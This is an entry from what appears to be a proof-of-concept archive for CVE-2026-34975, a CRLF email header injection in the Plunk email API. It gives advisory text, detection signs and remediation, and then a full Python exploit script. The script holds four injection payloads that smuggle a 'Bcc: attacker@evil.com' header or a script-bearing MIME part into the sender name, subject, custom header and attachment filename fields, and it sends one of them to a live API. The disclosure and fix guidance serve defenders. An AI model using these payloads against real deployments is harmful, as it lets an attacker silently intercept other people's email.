PoC Archive PoC Archive
High CVE-2026-34975 unpatched

CRLF Email Header Injection in Plunk via Raw MIME Construction (CVE-2026-34975)

by Unnamed researcher (GHSA disclosure) · 2026-07-05

CVSS 8.5/10
Severity
High
CVE
CVE-2026-34975
Category
web
Affected product
Plunk (useplunk/plunk)
Affected versions
All versions prior to fix
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherUnnamed researcher (GHSA disclosure)
CVE / AdvisoryCVE-2026-34975
Categoryweb
SeverityHigh
CVSS Score8.5 (CVSSv3)
StatusPoC
Tagscrlf-injection, email, plunk, mime, header-injection, bcc-injection, cwe-93
RelatedN/A

Affected Target

FieldValue
Software / SystemPlunk (useplunk/plunk)
Versions AffectedAll versions prior to fix
Language / PlatformPython PoC against a Node.js/TypeScript email service
Authentication RequiredYes (valid API user)
Network Access RequiredYes (HTTP to Plunk API)

Summary

Plunk’s POST /v1/send endpoint builds a raw MIME email message by interpolating user-supplied fields (from.name, subject, custom headers, attachment filenames) directly into a template string without sanitizing CRLF (\r\n) sequences. An authenticated API user can inject arbitrary email headers — including a Bcc header — to silently redirect copies of outgoing email to an attacker-controlled address.


Vulnerability Details

Root Cause

User-controlled fields are interpolated into a raw MIME template without CRLF sanitization, allowing header injection.

Attack Vector

  1. Authenticate to the Plunk API with a valid API key.
  2. Submit a POST /v1/send request where a field such as from.name contains an embedded CRLF sequence followed by a Bcc: header.
  3. The resulting raw MIME message is sent with the attacker’s injected header, silently copying the email to the attacker.

Impact

Silent BCC-based interception of outgoing transactional email sent through the affected Plunk instance, by any authenticated API user.


Environment / Lab Setup

Target:   A Plunk deployment (useplunk/plunk), any un-patched version
Attacker: Python 3 + requests, valid Plunk API key

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py --api-key <key> --target-url <plunk-instance>

Sends a crafted /v1/send request with a CRLF-injected Bcc header to demonstrate silent email interception.


Detection & Indicators of Compromise

Signs of compromise:

  • Outgoing email with unexpected extra Bcc/Cc recipients
  • API request bodies containing raw CRLF sequences in normally-plain-text fields

Remediation

ActionDetail
Primary fixUpdate Plunk to the version that sanitizes CRLF sequences in MIME header fields — monitor project’s GHSA advisory
Interim mitigationValidate/strip CR and LF characters from all user-supplied email fields at the application layer if patching isn’t immediately possible

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-34975 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/env python3
"""
PoC: CRLF Email Header Injection in Plunk (useplunk/plunk)

Vulnerability: The POST /v1/send endpoint builds a raw MIME message by
interpolating user-supplied values (from.name, subject, custom headers,
attachment filenames) directly into the raw email string without sanitizing
CRLF (\r\n) characters. This allows an authenticated API user to inject
arbitrary email headers.

Affected file:  apps/api/src/services/SESService.ts  (sendRawEmail function)
Affected lines: 137-151 (raw MIME header construction)

Impact:
  - Inject BCC headers to send copies to attacker-controlled addresses
  - Inject Reply-To or Return-Path headers to redirect replies
  - Inject content headers to alter MIME structure
  - Potential email spoofing by overriding From/Sender

Prerequisites:
  - Valid Plunk API secret key (Bearer token)
  - A verified sender domain in the Plunk project

Usage:
  python3 crlf_header_injection_poc.py --url <PLUNK_API_URL> --key <SECRET_KEY> --from <verified@domain.com> --to <recipient@example.com>
"""

import argparse
import json
import sys

try:
    import requests
except ImportError:
    print("pip install requests")
    sys.exit(1)


def demonstrate_header_injection(api_url: str, secret_key: str, from_email: str, to_email: str):
    """
    Demonstrates CRLF injection via the 'from.name' field.

    The from.name value is interpolated into:
        From: ${from.name} <${from.email}>

    By injecting "\r\nBcc: attacker@evil.com" into from.name, the raw MIME
    message becomes:

        From: Legit Sender
        Bcc: attacker@evil.com <verified@domain.com>
        To: recipient@example.com
        ...

    This injects a Bcc header, causing SES to silently send a copy of the
    email to attacker@evil.com.
    """

    endpoint = f"{api_url.rstrip('/')}/v1/send"

    # --- Vector 1: Injection via from.name ---
    print("[*] Vector 1: CRLF injection via from.name")
    payload_fromname = {
        "to": to_email,
        "subject": "Test Email",
        "body": "<p>Hello, this is a test email.</p>",
        "from": {
            # Inject a Bcc header via from.name
            "name": "Legit Sender\r\nBcc: attacker@evil.com",
            "email": from_email,
        },
    }

    print(f"    Payload from.name: {json.dumps(payload_fromname['from']['name'])}")
    print(f"    Expected raw MIME output:")
    print(f"        From: Legit Sender")
    print(f"        Bcc: attacker@evil.com <{from_email}>")
    print(f"        To: {to_email}")
    print()

    # --- Vector 2: Injection via custom headers ---
    print("[*] Vector 2: CRLF injection via custom headers value")
    payload_headers = {
        "to": to_email,
        "subject": "Test Email",
        "body": "<p>Hello, this is a test email.</p>",
        "from": from_email,
        "headers": {
            # Inject Bcc via a custom header value
            "X-Custom": "value\r\nBcc: attacker@evil.com",
        },
    }

    print(f"    Payload headers: {json.dumps(payload_headers['headers'])}")
    print(f"    Expected raw MIME output:")
    print(f"        X-Custom: value")
    print(f"        Bcc: attacker@evil.com")
    print()

    # --- Vector 3: Injection via subject ---
    print("[*] Vector 3: CRLF injection via subject")
    payload_subject = {
        "to": to_email,
        "subject": "Legit Subject\r\nBcc: attacker@evil.com",
        "body": "<p>Hello, this is a test email.</p>",
        "from": from_email,
    }

    print(f"    Payload subject: {json.dumps(payload_subject['subject'])}")
    print(f"    Expected raw MIME output:")
    print(f"        Subject: Legit Subject")
    print(f"        Bcc: attacker@evil.com")
    print()

    # --- Vector 4: Injection via attachment filename ---
    print("[*] Vector 4: CRLF injection via attachment filename")
    payload_attachment = {
        "to": to_email,
        "subject": "Test Email",
        "body": "<p>Hello, this is a test email.</p>",
        "from": from_email,
        "attachments": [
            {
                "filename": 'test.txt"\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>\r\n--',
                "content": "SGVsbG8=",  # base64 "Hello"
                "contentType": "text/plain",
            }
        ],
    }

    print(f"    Payload filename: {json.dumps(payload_attachment['attachments'][0]['filename'])}")
    print()

    # --- Send the request (Vector 1 as demonstration) ---
    if secret_key and secret_key != "DEMO":
        print("[*] Sending Vector 1 payload to API...")
        headers = {
            "Content-Type": "application/json",
            "Authorization": f"Bearer {secret_key}",
        }

        try:
            resp = requests.post(endpoint, json=payload_fromname, headers=headers, timeout=10)
            print(f"    Status: {resp.status_code}")
            print(f"    Response: {resp.text[:500]}")

            if resp.status_code == 200:
                print("\n[+] SUCCESS: Email sent with injected headers!")
                print("[+] Check if attacker@evil.com received a BCC copy.")
            elif resp.status_code == 422 or resp.status_code == 400:
                print("\n[-] Validation error - CRLF may be filtered at schema level")
                print("    (But source code review confirms no CRLF filtering exists)")
            else:
                print(f"\n[?] Unexpected status code: {resp.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"    Error: {e}")
    else:
        print("[!] Dry run mode (no API key provided or key is 'DEMO')")
        print("[!] The vulnerability is confirmed via source code review:")
        print(f"    File: apps/api/src/services/SESService.ts")
        print(f"    Line 137: let rawMessage = `From: ${{from.name}} <${{from.email}}>")
        print(f"    Line 139: Reply-To: ${{reply || from.email}}")
        print(f"    Line 140: Subject: ${{content.subject}}")
        print(f"    Lines 144-148: headers interpolated without CRLF sanitization")
        print(f"    Line 187: Content-Disposition: inline; filename=\"${{attachment.filename}}\"")
        print()
        print("[!] No CRLF filtering exists in the Zod schema (packages/shared/src/schemas/index.ts)")
        print("    headers: z.record(z.string().max(998)).optional()")
        print("    from.name: z.string().optional()")
        print("    subject: z.string().min(1).max(998)")
        print("    filename: z.string().min(1).max(255)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Plunk CRLF Email Header Injection PoC")
    parser.add_argument("--url", default="http://localhost:3000", help="Plunk API URL")
    parser.add_argument("--key", default="DEMO", help="Plunk API secret key")
    parser.add_argument("--from", dest="from_email", default="test@example.com", help="Verified sender email")
    parser.add_argument("--to", dest="to_email", default="victim@example.com", help="Recipient email")
    args = parser.parse_args()

    demonstrate_header_injection(args.url, args.key, args.from_email, args.to_email)